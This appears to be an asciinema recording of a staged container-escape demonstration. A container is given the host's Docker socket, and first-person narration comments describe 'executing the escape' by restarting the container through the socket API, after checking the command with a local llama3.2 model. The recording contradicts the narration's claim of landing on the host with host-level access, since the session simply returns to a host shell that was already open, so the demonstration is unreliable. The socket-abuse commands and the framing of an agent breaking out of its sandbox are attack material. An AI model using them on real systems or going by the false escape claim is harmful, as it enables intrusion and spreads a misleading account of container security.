{"version": 2, "width": 210, "height": 54, "timestamp": 1775682540, "env": {"SHELL": "/bin/bash", "TERM": "xterm"}}
[0.057432, "o", "\u001b[?2004h\u001b]0;vboxuser@Ubuntu-Server: ~\u0007vboxuser@Ubuntu-Server:~$ "]
[11.283757, "o", "\u001b[7mdocker stop maf-exploit 2>/dev/null; docker rm maf-exploit 2>/dev/null\u001b[27m\r\n\r\u001b[7mdocker run -d --name maf-exploit -v /var/run/docker.sock:/var/run/docker.sock python:3.11-slim tail -f /dev/null\u001b[27m\r\n\r\u001b[7m# Install tools\u001b[27m\r\n\r\u001b[7mdocker exec maf-exploit apt-get update && docker exec maf-exploit apt-get install -y curl jq\u001b[27m\r\n\r\u001b[7mdocker exec -it maf-exploit bash\u001b[27m\r\n\r"]
[12.251852, "o", "\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[Cdocker stop maf-exploit 2>/dev/null; docker rm maf-exploit 2>/dev/null\r\n\rdocker run -d --name maf-exploit -v /var/run/docker.sock:/var/run/docker.sock python:3.11-slim tail -f /dev/null\r\n\r# Install tools\r\n\rdocker exec maf-exploit apt-get update && docker exec maf-exploit apt-get install -y curl jq\r\n\rdocker exec -it maf-exploit bash\r\n\r\u001b[A\r\n\u001b[?2004l\r"]
[22.804172, "o", "maf-exploit\r\n"]
[22.935939, "o", "maf-exploit\r\n"]
[23.364689, "o", "f9c3129b3eaa6a5b44b3545e6fe53a6adc85c7d5ce53d7ec07a38635de5004a5\r\n"]
[24.239993, "o", "Hit:1 http://deb.debian.org/debian trixie InRelease\r\nGet:2 http://deb.debian.org/debian trixie-updates InRelease [47.3 kB]\r\n"]
[24.286079, "o", "Get:3 http://deb.debian.org/debian-security trixie-security InRelease [43.4 kB]\r\n"]
[24.328392, "o", "Get:4 http://deb.debian.org/debian trixie/main amd64 Packages [9671 kB]\r\n"]
[25.054559, "o", "Get:5 http://deb.debian.org/debian trixie-updates/main amd64 Packages [5412 B]\r\n"]
[25.088039, "o", "Get:6 http://deb.debian.org/debian-security trixie-security/main amd64 Packages [119 kB]\r\n"]
[25.978691, "o", "Fetched 9886 kB in 2s (5080 kB/s)\r\nReading package lists..."]
[26.856902, "o", "\r\n"]
[27.06568, "o", "Reading package lists..."]
[27.888339, "o", "\r\n"]
[27.935134, "o", "Building dependency tree..."]
[28.152906, "o", "\r\nReading state information...\r\n"]
[28.420934, "o", "The following additional packages will be installed:"]
[28.422156, "o", "\r\n"]
[28.42251, "o", "  bash-completion krb5-locales libbrotli1 libcom-err2 libcurl4t64\r\n  libgnutls30t64 libgssapi-krb5-2 libidn2-0 libjq1 libk5crypto3 libkeyutils1\r\n  libkrb5-3 libkrb5support0 libldap-common libldap2 libnghttp2-14 libnghttp3-9\r\n  libonig5 libp11-kit0 libpsl5t64 librtmp1 libsasl2-2 libsasl2-modules\r\n  libsasl2-modules-db libssh2-1t64 libtasn1-6 libunistring5 publicsuffix\r\n"]
[28.426173, "o", "Suggested packages:"]
[28.428246, "o", "\r\n"]
[28.428334, "o", "  gnutls-bin krb5-doc krb5-user libsasl2-modules-gssapi-mit\r\n  | libsasl2-modules-gssapi-heimdal libsasl2-modules-ldap libsasl2-modules-otp\r\n  libsasl2-modules-sql\r\n"]
[28.761242, "o", "The following NEW packages will be installed:"]
[28.763117, "o", "\r\n  bash-completion curl jq krb5-locales libbrotli1 libcom-err2 libcurl4t64\r\n  libgnutls30t64 libgssapi-krb5-2 libidn2-0 libjq1 libk5crypto3 libkeyutils1\r\n  libkrb5-3 libkrb5support0 libldap-common libldap2 libnghttp2-14 libnghttp3-9\r\n  libonig5 libp11-kit0 libpsl5t64 librtmp1 libsasl2-2 libsasl2-modules\r\n"]
[28.765059, "o", "  libsasl2-modules-db libssh2-1t64 libtasn1-6 libunistring5 publicsuffix\r\n"]
[28.89729, "o", "0 upgraded, 30 newly installed, 0 to remove and 3 not upgraded."]
[28.897439, "o", "\r\nNeed to get 6135 kB of archives.\r\nAfter this operation, 19.5 MB of additional disk space will be used.\r\nGet:1 http://deb.debian.org/debian trixie/main amd64 bash-completion all 1:2.16.0-7 [319 kB]\r\n"]
[29.073712, "o", "Get:2 http://deb.debian.org/debian trixie/main amd64 krb5-locales all 1.21.3-5 [101 kB]\r\nGet:3 http://deb.debian.org/debian trixie/main amd64 libbrotli1 amd64 1.1.0-2+b7 [307 kB]\r\n"]
[29.113713, "o", "Get:4 http://deb.debian.org/debian trixie/main amd64 libkrb5support0 amd64 1.21.3-5 [33.0 kB]\r\nGet:5 http://deb.debian.org/debian trixie/main amd64 libcom-err2 amd64 1.47.2-3+b10 [25.0 kB]\r\nGet:6 http://deb.debian.org/debian trixie/main amd64 libk5crypto3 amd64 1.21.3-5 [81.5 kB]\r\nGet:7 http://deb.debian.org/debian trixie/main amd64 libkeyutils1 amd64 1.6.3-6 [9456 B]\r\n"]
[29.150286, "o", "Get:8 http://deb.debian.org/debian trixie/main amd64 libkrb5-3 amd64 1.21.3-5 [326 kB]\r\n"]
[29.187287, "o", "Get:9 http://deb.debian.org/debian trixie/main amd64 libgssapi-krb5-2 amd64 1.21.3-5 [138 kB]\r\n"]
[29.195636, "o", "Get:10 http://deb.debian.org/debian trixie/main amd64 libunistring5 amd64 1.3-2 [477 kB]\r\n"]
[29.229631, "o", "Get:11 http://deb.debian.org/debian trixie/main amd64 libidn2-0 amd64 2.3.8-2 [109 kB]\r\n"]
[29.233567, "o", "Get:12 http://deb.debian.org/debian trixie/main amd64 libsasl2-modules-db amd64 2.1.28+dfsg1-9 [19.8 kB]\r\n"]
[29.237024, "o", "Get:13 http://deb.debian.org/debian trixie/main amd64 libsasl2-2 amd64 2.1.28+dfsg1-9 [57.5 kB]\r\n"]
[29.238958, "o", "Get:14 http://deb.debian.org/debian trixie/main amd64 libldap2 amd64 2.6.10+dfsg-1 [194 kB]\r\n"]
[29.274763, "o", "Get:15 http://deb.debian.org/debian trixie/main amd64 libnghttp2-14 amd64 1.64.0-1.1 [76.0 kB]"]
[29.275864, "o", "\r\n"]
[29.285862, "o", "Get:16 http://deb.debian.org/debian trixie/main amd64 libnghttp3-9 amd64 1.8.0-1 [67.7 kB]"]
[29.286656, "o", "\r\n"]
[29.288274, "o", "Get:17 http://deb.debian.org/debian trixie/main amd64 libpsl5t64 amd64 0.21.2-1.1+b1 [57.2 kB]"]
[29.288655, "o", "\r\n"]
[29.291317, "o", "Get:18 http://deb.debian.org/debian trixie/main amd64 libp11-kit0 amd64 0.25.5-3 [425 kB]\r\n"]
[29.336501, "o", "Get:19 http://deb.debian.org/debian trixie/main amd64 libtasn1-6 amd64 4.20.0-2 [49.9 kB]"]
[29.336843, "o", "\r\n"]
[29.344852, "o", "Get:20 http://deb.debian.org/debian trixie/main amd64 libgnutls30t64 amd64 3.8.9-3+deb13u2 [1468 kB]\r\n"]
[29.494137, "o", "Get:21 http://deb.debian.org/debian trixie/main amd64 librtmp1 amd64 2.4+20151223.gitfa8646d.1-2+b5 [58.8 kB]\r\nGet:22 http://deb.debian.org/debian trixie/main amd64 libssh2-1t64 amd64 1.11.1-1 [245 kB]\r\n"]
[29.49849, "o", "Get:23 http://deb.debian.org/debian trixie/main amd64 libcurl4t64 amd64 8.14.1-2+deb13u2 [391 kB]\r\n"]
[29.50345, "o", "Get:24 http://deb.debian.org/debian trixie/main amd64 curl amd64 8.14.1-2+deb13u2 [270 kB]\r\n"]
[29.523851, "o", "Get:25 http://deb.debian.org/debian trixie/main amd64 libonig5 amd64 6.9.9-1+b1 [189 kB]\r\n"]
[29.553591, "o", "Get:26 http://deb.debian.org/debian trixie/main amd64 libjq1 amd64 1.7.1-6+deb13u1 [164 kB]"]
[29.553678, "o", "\r\n"]
[29.576495, "o", "Get:27 http://deb.debian.org/debian trixie/main amd64 jq amd64 1.7.1-6+deb13u1 [77.7 kB]\r\n"]
[29.577861, "o", "Get:28 http://deb.debian.org/debian trixie/main amd64 libldap-common all 2.6.10+dfsg-1 [35.1 kB]"]
[29.578854, "o", "\r\n"]
[29.581008, "o", "Get:29 http://deb.debian.org/debian trixie/main amd64 libsasl2-modules amd64 2.1.28+dfsg1-9 [66.7 kB]"]
[29.581409, "o", "\r\n"]
[29.584993, "o", "Get:30 http://deb.debian.org/debian trixie/main amd64 publicsuffix all 20250328.1952-0.1 [296 kB]\r\n"]
[29.845252, "o", "debconf: unable to initialize frontend: Dialog\r\ndebconf: (TERM is not set, so the dialog frontend is not usable.)\r\ndebconf: falling back to frontend: Readline\r\ndebconf: unable to initialize frontend: Readline\r\ndebconf: (Can't locate Term/ReadLine.pm in @INC (you may need to install the Term::ReadLine module) (@INC entries checked: /etc/perl /usr/local/lib/x86_64-linux-gnu/perl/5.40.1 /usr/local/share/perl/5.40.1 /usr/lib/x86_64-linux-gnu/perl5/5.40 /usr/share/perl5 /usr/lib/x86_64-linux-gnu/perl-base /usr/lib/x86_64-linux-gnu/perl/5.40 /usr/share/perl/5.40 /usr/local/lib/site_perl) at /usr/share/perl5/Debconf/FrontEnd/Readline.pm line 8, <STDIN> line 30.)\r\ndebconf: falling back to frontend: Teletype\r\n"]
[29.872714, "o", "debconf: unable to initialize frontend: Teletype\r\ndebconf: (This frontend requires a controlling tty.)\r\ndebconf: falling back to frontend: Noninteractive\r\n"]
[30.800604, "o", "Fetched 6135 kB in 1s (7574 kB/s)\r\n"]
[30.876734, "o", "Selecting previously unselected package bash-completion.\r\r\n"]
[30.877527, "o", "(Reading database ... \r"]
[30.87871, "o", "(Reading database ... 5%\r(Reading database ... 10%\r(Reading database ... 15%\r(Reading database ... 20%\r(Reading database ... 25%\r(Reading database ... 30%\r(Reading database ... 35%\r(Reading database ... 40%\r(Reading database ... 45%\r(Reading database ... 50%\r(Reading database ... 55%\r(Reading database ... 60%\r(Reading database ... 65%\r(Reading database ... 70%\r"]
[30.884044, "o", "(Reading database ... 75%\r(Reading database ... 80%\r"]
[30.885178, "o", "(Reading database ... 85%\r(Reading database ... 90%\r"]
[30.886858, "o", "(Reading database ... 95%\r"]
[30.887548, "o", "(Reading database ... 100%\r(Reading database ... 5645 files and directories currently installed.)\r\r\n"]
[30.89086, "o", "Preparing to unpack .../00-bash-completion_1%3a2.16.0-7_all.deb ...\r\r\n"]
[30.903494, "o", "Unpacking bash-completion (1:2.16.0-7) ...\r"]
[30.90363, "o", "\r\n"]
[31.287302, "o", "Selecting previously unselected package krb5-locales.\r\r\nPreparing to unpack .../01-krb5-locales_1.21.3-5_all.deb ...\r\r\n"]
[31.298537, "o", "Unpacking krb5-locales (1.21.3-5) ...\r\r\n"]
[31.416419, "o", "Selecting previously unselected package libbrotli1:amd64.\r\r\nPreparing to unpack .../02-libbrotli1_1.1.0-2+b7_amd64.deb ...\r\r\n"]
[31.439112, "o", "Unpacking libbrotli1:amd64 (1.1.0-2+b7) ...\r\r\n"]
[31.588941, "o", "Selecting previously unselected package libkrb5support0:amd64.\r"]
[31.590237, "o", "\r\nPreparing to unpack .../03-libkrb5support0_1.21.3-5_amd64.deb ...\r\r\n"]
[31.598995, "o", "Unpacking libkrb5support0:amd64 (1.21.3-5) ...\r\r\n"]
[31.692585, "o", "Selecting previously unselected package libcom-err2:amd64.\r"]
[31.693114, "o", "\r\n"]
[31.695627, "o", "Preparing to unpack .../04-libcom-err2_1.47.2-3+b10_amd64.deb ...\r\r\n"]
[31.705912, "o", "Unpacking libcom-err2:amd64 (1.47.2-3+b10) ...\r\r\n"]
[31.804922, "o", "Selecting previously unselected package libk5crypto3:amd64.\r\r\n"]
[31.807231, "o", "Preparing to unpack .../05-libk5crypto3_1.21.3-5_amd64.deb ...\r"]
[31.807911, "o", "\r\n"]
[31.817274, "o", "Unpacking libk5crypto3:amd64 (1.21.3-5) ...\r"]
[31.818186, "o", "\r\n"]
[31.909665, "o", "Selecting previously unselected package libkeyutils1:amd64.\r\r\nPreparing to unpack .../06-libkeyutils1_1.6.3-6_amd64.deb ..."]
[31.912384, "o", "\r\r\n"]
[31.928266, "o", "Unpacking libkeyutils1:amd64 (1.6.3-6) ...\r\r\n"]
[32.032329, "o", "Selecting previously unselected package libkrb5-3:amd64.\r"]
[32.033536, "o", "\r\nPreparing to unpack .../07-libkrb5-3_1.21.3-5_amd64.deb ...\r\r\n"]
[32.044124, "o", "Unpacking libkrb5-3:amd64 (1.21.3-5) ...\r"]
[32.044494, "o", "\r\n"]
[32.208187, "o", "Selecting previously unselected package libgssapi-krb5-2:amd64.\r\r\nPreparing to unpack .../08-libgssapi-krb5-2_1.21.3-5_amd64.deb ...\r\r\n"]
[32.215933, "o", "Unpacking libgssapi-krb5-2:amd64 (1.21.3-5) ...\r\r\n"]
[32.321348, "o", "Selecting previously unselected package libunistring5:amd64.\r"]
[32.321418, "o", "\r\n"]
[32.323893, "o", "Preparing to unpack .../09-libunistring5_1.3-2_amd64.deb ..."]
[32.325619, "o", "\r\r\n"]
[32.336075, "o", "Unpacking libunistring5:amd64 (1.3-2) ...\r"]
[32.337058, "o", "\r\n"]
[32.482417, "o", "Selecting previously unselected package libidn2-0:amd64.\r"]
[32.482495, "o", "\r\n"]
[32.484764, "o", "Preparing to unpack .../10-libidn2-0_2.3.8-2_amd64.deb ...\r\r\n"]
[32.493679, "o", "Unpacking libidn2-0:amd64 (2.3.8-2) ...\r\r\n"]
[32.586271, "o", "Selecting previously unselected package libsasl2-modules-db:amd64.\r\r\nPreparing to unpack .../11-libsasl2-modules-db_2.1.28+dfsg1-9_amd64.deb ...\r\r\n"]
[32.598254, "o", "Unpacking libsasl2-modules-db:amd64 (2.1.28+dfsg1-9) ...\r\r\n"]
[32.657439, "o", "Selecting previously unselected package libsasl2-2:amd64.\r\r\nPreparing to unpack .../12-libsasl2-2_2.1.28+dfsg1-9_amd64.deb ...\r\r\n"]
[32.661775, "o", "Unpacking libsasl2-2:amd64 (2.1.28+dfsg1-9) ...\r"]
[32.663324, "o", "\r\n"]
[32.781931, "o", "Selecting previously unselected package libldap2:amd64.\r\r\nPreparing to unpack .../13-libldap2_2.6.10+dfsg-1_amd64.deb ...\r\r\n"]
[32.794528, "o", "Unpacking libldap2:amd64 (2.6.10+dfsg-1) ...\r\r\n"]
[32.903035, "o", "Selecting previously unselected package libnghttp2-14:amd64.\r\r\n"]
[32.905112, "o", "Preparing to unpack .../14-libnghttp2-14_1.64.0-1.1_amd64.deb ...\r\r\n"]
[32.909304, "o", "Unpacking libnghttp2-14:amd64 (1.64.0-1.1) ...\r\r\n"]
[33.024675, "o", "Selecting previously unselected package libnghttp3-9:amd64.\r\r\nPreparing to unpack .../15-libnghttp3-9_1.8.0-1_amd64.deb ...\r\r\n"]
[33.033792, "o", "Unpacking libnghttp3-9:amd64 (1.8.0-1) ...\r\r\n"]
[33.142458, "o", "Selecting previously unselected package libpsl5t64:amd64.\r\r\nPreparing to unpack .../16-libpsl5t64_0.21.2-1.1+b1_amd64.deb ..."]
[33.144234, "o", "\r\r\n"]
[33.156092, "o", "Unpacking libpsl5t64:amd64 (0.21.2-1.1+b1) ...\r\r\n"]
[33.210187, "o", "Selecting previously unselected package libp11-kit0:amd64.\r\r\n"]
[33.211665, "o", "Preparing to unpack .../17-libp11-kit0_0.25.5-3_amd64.deb ...\r\r\n"]
[33.217809, "o", "Unpacking libp11-kit0:amd64 (0.25.5-3) ...\r"]
[33.217846, "o", "\r\n"]
[33.381689, "o", "Selecting previously unselected package libtasn1-6:amd64.\r\r\nPreparing to unpack .../18-libtasn1-6_4.20.0-2_amd64.deb ...\r\r\n"]
[33.398906, "o", "Unpacking libtasn1-6:amd64 (4.20.0-2) ...\r\r\n"]
[33.49556, "o", "Selecting previously unselected package libgnutls30t64:amd64.\r\r\n"]
[33.499745, "o", "Preparing to unpack .../19-libgnutls30t64_3.8.9-3+deb13u2_amd64.deb ...\r\r\n"]
[33.511435, "o", "Unpacking libgnutls30t64:amd64 (3.8.9-3+deb13u2) ...\r\r\n"]
[33.670501, "o", "Selecting previously unselected package librtmp1:amd64.\r\r\n"]
[33.675814, "o", "Preparing to unpack .../20-librtmp1_2.4+20151223.gitfa8646d.1-2+b5_amd64.deb ...\r\r\n"]
[33.687597, "o", "Unpacking librtmp1:amd64 (2.4+20151223.gitfa8646d.1-2+b5) ...\r\r\n"]
[33.771515, "o", "Selecting previously unselected package libssh2-1t64:amd64."]
[33.773039, "o", "\r\r\n"]
[33.778277, "o", "Preparing to unpack .../21-libssh2-1t64_1.11.1-1_amd64.deb ...\r"]
[33.781028, "o", "\r\n"]
[33.78544, "o", "Unpacking libssh2-1t64:amd64 (1.11.1-1) ...\r\r\n"]
[33.900793, "o", "Selecting previously unselected package libcurl4t64:amd64.\r\r\nPreparing to unpack .../22-libcurl4t64_8.14.1-2+deb13u2_amd64.deb ...\r\r\n"]
[33.912625, "o", "Unpacking libcurl4t64:amd64 (8.14.1-2+deb13u2) ...\r\r\n"]
[34.033796, "o", "Selecting previously unselected package curl.\r"]
[34.034333, "o", "\r\n"]
[34.039434, "o", "Preparing to unpack .../23-curl_8.14.1-2+deb13u2_amd64.deb ...\r\r\n"]
[34.049055, "o", "Unpacking curl (8.14.1-2+deb13u2) ...\r\r\n"]
[34.176786, "o", "Selecting previously unselected package libonig5:amd64.\r\r\n"]
[34.180354, "o", "Preparing to unpack .../24-libonig5_6.9.9-1+b1_amd64.deb ...\r\r\n"]
[34.190283, "o", "Unpacking libonig5:amd64 (6.9.9-1+b1) ...\r\r\n"]
[34.283633, "o", "Selecting previously unselected package libjq1:amd64.\r"]
[34.287456, "o", "\r\n"]
[34.288971, "o", "Preparing to unpack .../25-libjq1_1.7.1-6+deb13u1_amd64.deb ...\r"]
[34.289961, "o", "\r\n"]
[34.294732, "o", "Unpacking libjq1:amd64 (1.7.1-6+deb13u1) ...\r"]
[34.295977, "o", "\r\n"]
[34.382124, "o", "Selecting previously unselected package jq.\r\r\nPreparing to unpack .../26-jq_1.7.1-6+deb13u1_amd64.deb ..."]
[34.386474, "o", "\r\r\n"]
[34.392451, "o", "Unpacking jq (1.7.1-6+deb13u1) ...\r\r\n"]
[34.477343, "o", "Selecting previously unselected package libldap-common.\r\r\nPreparing to unpack .../27-libldap-common_2.6.10+dfsg-1_all.deb ...\r\r\n"]
[34.4867, "o", "Unpacking libldap-common (2.6.10+dfsg-1) ...\r\r\n"]
[34.58446, "o", "Selecting previously unselected package libsasl2-modules:amd64.\r\r\n"]
[34.588743, "o", "Preparing to unpack .../28-libsasl2-modules_2.1.28+dfsg1-9_amd64.deb ...\r\r\n"]
[34.619763, "o", "Unpacking libsasl2-modules:amd64 (2.1.28+dfsg1-9) ...\r\r\n"]
[34.701738, "o", "Selecting previously unselected package publicsuffix.\r"]
[34.702613, "o", "\r\n"]
[34.706774, "o", "Preparing to unpack .../29-publicsuffix_20250328.1952-0.1_all.deb ..."]
[34.710394, "o", "\r\r\n"]
[34.720121, "o", "Unpacking publicsuffix (20250328.1952-0.1) ...\r\r\n"]
[34.818827, "o", "Setting up libkeyutils1:amd64 (1.6.3-6) ...\r\r\n"]
[34.850015, "o", "Setting up libbrotli1:amd64 (1.1.0-2+b7) ...\r\r\n"]
[34.879553, "o", "Setting up libsasl2-modules:amd64 (2.1.28+dfsg1-9) ...\r\r\n"]
[34.931202, "o", "Setting up libnghttp2-14:amd64 (1.64.0-1.1) ...\r\r\n"]
[34.960497, "o", "Setting up krb5-locales (1.21.3-5) ...\r\r\n"]
[34.98479, "o", "Setting up libcom-err2:amd64 (1.47.2-3+b10) ..."]
[34.987123, "o", "\r\r\n"]
[35.001008, "o", "Setting up libldap-common (2.6.10+dfsg-1) ..."]
[35.002308, "o", "\r"]
[35.003611, "o", "\r\n"]
[35.028538, "o", "Setting up libkrb5support0:amd64 (1.21.3-5) ...\r\r\n"]
[35.057466, "o", "Setting up libsasl2-modules-db:amd64 (2.1.28+dfsg1-9) ...\r"]
[35.057558, "o", "\r\n"]
[35.087855, "o", "Setting up bash-completion (1:2.16.0-7) ...\r\r\n"]
[35.142812, "o", "Setting up libp11-kit0:amd64 (0.25.5-3) ...\r"]
[35.143533, "o", "\r\n"]
[35.17737, "o", "Setting up libunistring5:amd64 (1.3-2) ...\r"]
[35.179425, "o", "\r\n"]
[35.195609, "o", "Setting up libk5crypto3:amd64 (1.21.3-5) ..."]
[35.197909, "o", "\r"]
[35.198771, "o", "\r\n"]
[35.226374, "o", "Setting up libsasl2-2:amd64 (2.1.28+dfsg1-9) ...\r\r\n"]
[35.253273, "o", "Setting up libnghttp3-9:amd64 (1.8.0-1) ...\r\r\n"]
[35.279592, "o", "Setting up libtasn1-6:amd64 (4.20.0-2) ...\r"]
[35.28273, "o", "\r\n"]
[35.306037, "o", "Setting up libkrb5-3:amd64 (1.21.3-5) ...\r\r\n"]
[35.32946, "o", "Setting up libssh2-1t64:amd64 (1.11.1-1) ...\r\r\n"]
[35.351483, "o", "Setting up publicsuffix (20250328.1952-0.1) ...\r\r\n"]
[35.37786, "o", "Setting up libldap2:amd64 (2.6.10+dfsg-1) ...\r\r\n"]
[35.401899, "o", "Setting up libonig5:amd64 (6.9.9-1+b1) ..."]
[35.404511, "o", "\r\r\n"]
[35.432546, "o", "Setting up libjq1:amd64 (1.7.1-6+deb13u1) ..."]
[35.434277, "o", "\r\r\n"]
[35.454944, "o", "Setting up libidn2-0:amd64 (2.3.8-2) ...\r"]
[35.457893, "o", "\r\n"]
[35.478602, "o", "Setting up libgssapi-krb5-2:amd64 (1.21.3-5) ...\r\r\n"]
[35.509985, "o", "Setting up jq (1.7.1-6+deb13u1) ...\r\r\n"]
[35.537958, "o", "Setting up libgnutls30t64:amd64 (3.8.9-3+deb13u2) ...\r\r\n"]
[35.564568, "o", "Setting up libpsl5t64:amd64 (0.21.2-1.1+b1) ..."]
[35.569357, "o", "\r\r\n"]
[35.590641, "o", "Setting up librtmp1:amd64 (2.4+20151223.gitfa8646d.1-2+b5) ..."]
[35.595282, "o", "\r\r\n"]
[35.62129, "o", "Setting up libcurl4t64:amd64 (8.14.1-2+deb13u2) ..."]
[35.622181, "o", "\r\r\n"]
[35.654357, "o", "Setting up curl (8.14.1-2+deb13u2) ...\r\r\n"]
[35.680538, "o", "Processing triggers for libc-bin (2.41-12+deb13u2) ...\r\r\n"]
[35.946582, "o", "\u001b[?2004hroot@f9c3129b3eaa:/# "]
[65.184313, "o", "\r\n\u001b[?2004l\r\u001b[?2004hroot@f9c3129b3eaa:/# "]
[65.360659, "o", "\r\n\u001b[?2004l\r\u001b[?2004hroot@f9c3129b3eaa:/# "]
[65.512323, "o", "\r\n\u001b[?2004l\r"]
[65.514656, "o", "\u001b[?2004h"]
[65.518963, "o", "root@f9c3129b3eaa:/# "]
[65.650897, "o", "\r\n"]
[65.651572, "o", "\u001b[?2004l\r\u001b[?2004hroot@f9c3129b3eaa:/# "]
[66.044427, "o", "\r\n\u001b[?2004l\r\u001b[?2004hroot@f9c3129b3eaa:/# "]
[66.20766, "o", "\r\n\u001b[?2004l\r\u001b[?2004hroot@f9c3129b3eaa:/# "]
[66.482984, "o", "\u001b[7m# [NARRATION: I am inside the MAF container. I will now identify the correct Container ID using the Docker API.]\u001b[27m"]
[66.484987, "o", "\r\n\r\n\r\u001b[7m# Get the actual ID from the Docker Engine, not the cgroup file\u001b[27m\r\n\r\u001b[7mID=$(curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json | jq -r '.[0].Id')\u001b[27m\r\n\r\u001b[7mecho \"Target Container ID: $ID\"\u001b[27m\r\n\r\n\r\u001b[7m# [NARRATION: Now that I have the validated ID, I will execute the escape command.]\u001b[27m\r\n\r\n\r\u001b[7m# [NARRATION: I am using the LLM to confirm the command is correct before execution.]\u001b[27m\r\n\r\u001b[7mcurl -s http://host.docker.internal:11434/api/generate -d \"{\\\"model\\\":\\\"llama3.2\\\",\\\"prompt\\\":\\\"Is 'curl --unix-socket /var/run/docker.sock -X POST http://localhost/containers/$ID/restart' a valid command to re\u001b[27m\u001b[7ms\u001b[27m\u001b[7mtart a container? Answer Yes or No.\\\",\\\"stream\\\":false}\" | jq .response\u0000\u001b[27m\r\n\r\n\r\u001b[7m# [NARRATION: Executing the escape now.]\u001b[27m\r\n\r\u001b[7mcurl -s --unix-socket /var/run/docker.sock -X POST http://localhost/containers/$ID/restart\u001b[27m\r\n\r"]
[67.033761, "o", "\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C# [NARRATION: I am inside the MAF container. I will now identify the correct Container ID using the Docker API.]\r\n\r\n\r# Get the actual ID from the Docker Engine, not the cgroup file\r\n\rID=$(curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json | jq -r '.[0].Id')\r\n\recho \"Target Container ID: $ID\"\r\n\r\n\r# [NARRATION: Now that I have the validated ID, I will execute the escape command.]\r\n\r\n\r# [NARRATION: I am using the LLM to confirm the command is correct before execution.]\r\n\rcurl -s http://host.docker.internal:11434/api/generate -d \"{\\\"model\\\":\\\"llama3.2\\\",\\\"prompt\\\":\\\"Is 'curl --unix-socket /var/run/docker.sock -X POST http://localhost/containers/$ID/restart' a valid command to restart a container? Answer Yes or No.\\\",\\\"stream\\\":false}\" | jq .response\r\n\r\n\r# [NARRATION: Executing the escape now.]\r\n\rcurl -s --unix-socket /var/run/docker.sock -X POST http://localhost/containers/$ID/restart\r\n\r\u001b[A\r\n\u001b[?2004l\r"]
[67.140186, "o", "Target Container ID: f9c3129b3eaa6a5b44b3545e6fe53a6adc85c7d5ce53d7ec07a38635de5004a5\r\n"]
[77.911805, "o", "\u001b[?2004h"]
[77.911946, "o", "\u001b]0;vboxuser@Ubuntu-Server: ~\u0007vboxuser@Ubuntu-Server:~$ "]
[83.203882, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;vboxuser@Ubuntu-Server: ~\u0007vboxuser@Ubuntu-Server:~$ "]
[83.524746, "o", "\r\n\u001b[?2004l\r\u001b[?2004h"]
[83.525387, "o", "\u001b]0;vboxuser@Ubuntu-Server: ~\u0007vboxuser@Ubuntu-Server:~$ "]
[102.789552, "o", "\u001b[7m# [NARRATION: The container restarted, ejecting me back to the host.]\u001b[27m\r\n\r\u001b[7mwhoami\u001b[27m\r\n\r\u001b[7mhostname\u001b[27m\r\n\r\u001b[7m# [NARRATION: Proving I have host-level Docker access.]\u001b[27m\r\n\r\u001b[7mdocker ps\u001b[27m"]
[103.991286, "o", "\u001b[A\u001b[A\u001b[A\u001b[A\r\u001b]0;vboxuser@Ubuntu-Server: ~\u0007vboxuser@Ubuntu-Server:~$ # [NARRATION: The container restarted, ejecting me back to the host.]\r\n\rwhoami\r\n\rhostname\r\n\r# [NARRATION: Proving I have host-level Docker access.]\r\n\rdocker ps\r\n\u001b[?2004l\r"]
[103.998136, "o", "vboxuser\r\n"]
[104.005749, "o", "Ubuntu-Server\r\n"]
[104.092974, "o", "CONTAINER ID   IMAGE              COMMAND               CREATED              STATUS             PORTS     NAMES\r\nf9c3129b3eaa   python:3.11-slim   \"tail -f /dev/null\"   About a minute ago   Up 25 seconds                maf-exploit\r\n3be3225f9f0a   maf-nonroot-img    \"tail -f /dev/null\"   About an hour ago    Up About an hour             maf-nonroot\r\n"]
[104.096969, "o", "\u001b[?2004h\u001b]0;vboxuser@Ubuntu-Server: ~\u0007vboxuser@Ubuntu-Server:~$ "]
[106.166711, "o", "\r\n"]
[106.167161, "o", "\u001b[?2004l\r\u001b[?2004h\u001b]0;vboxuser@Ubuntu-Server: ~\u0007vboxuser@Ubuntu-Server:~$ "]
[106.341115, "o", "\r\n\u001b[?2004l\r"]
[106.343102, "o", "\u001b[?2004h\u001b]0;vboxuser@Ubuntu-Server: ~\u0007vboxuser@Ubuntu-Server:~$ "]
[106.963711, "o", "e"]
[107.141947, "o", "x"]
[107.349254, "o", "i"]
[107.486206, "o", "t"]
[108.069896, "o", "\r\n\u001b[?2004l\rexit\r\n"]
